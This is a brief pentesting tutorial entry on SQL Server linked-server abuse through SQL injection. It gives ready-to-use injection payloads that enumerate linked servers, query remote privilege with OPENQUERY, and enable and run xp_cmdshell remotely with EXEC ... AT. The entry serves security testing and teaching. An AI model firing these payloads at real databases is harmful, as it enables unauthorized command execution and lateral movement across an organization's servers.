Linked servers let one SQL Server run queries on another, often under a configured login that is more privileged on the remote side. An injection on one instance can therefore pivot to others, sometimes gaining sysadmin on a target where the local login has none.
Enumerate the configured links:
' UNION SELECT srvname,NULL,NULL FROM master..sysservers--
Run a query on a link with OPENQUERY, which reveals the remote context:
' UNION SELECT * FROM OPENQUERY([REMOTE],'SELECT @@version, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')')--
If the link is configured to run as a privileged remote login, command execution on the remote follows. Links that have RPC Out enabled accept EXEC ... AT, which runs an arbitrary statement remotely:
'; EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [REMOTE]--
Links can be chained: OPENQUERY nested through several hops reaches instances not directly linked to the entry point, and the effective privilege on each hop is whatever that link's configured login holds. This makes linked-server abuse a primary lateral-movement path in SQL Server estates, independent of whether the entry instance's own login is privileged.
References#
- Microsoft SQL Server Documentation: linked servers, OPENQUERY, sp_serveroption (RPC Out)
- OWASP Testing Guide: Testing for SQL Injection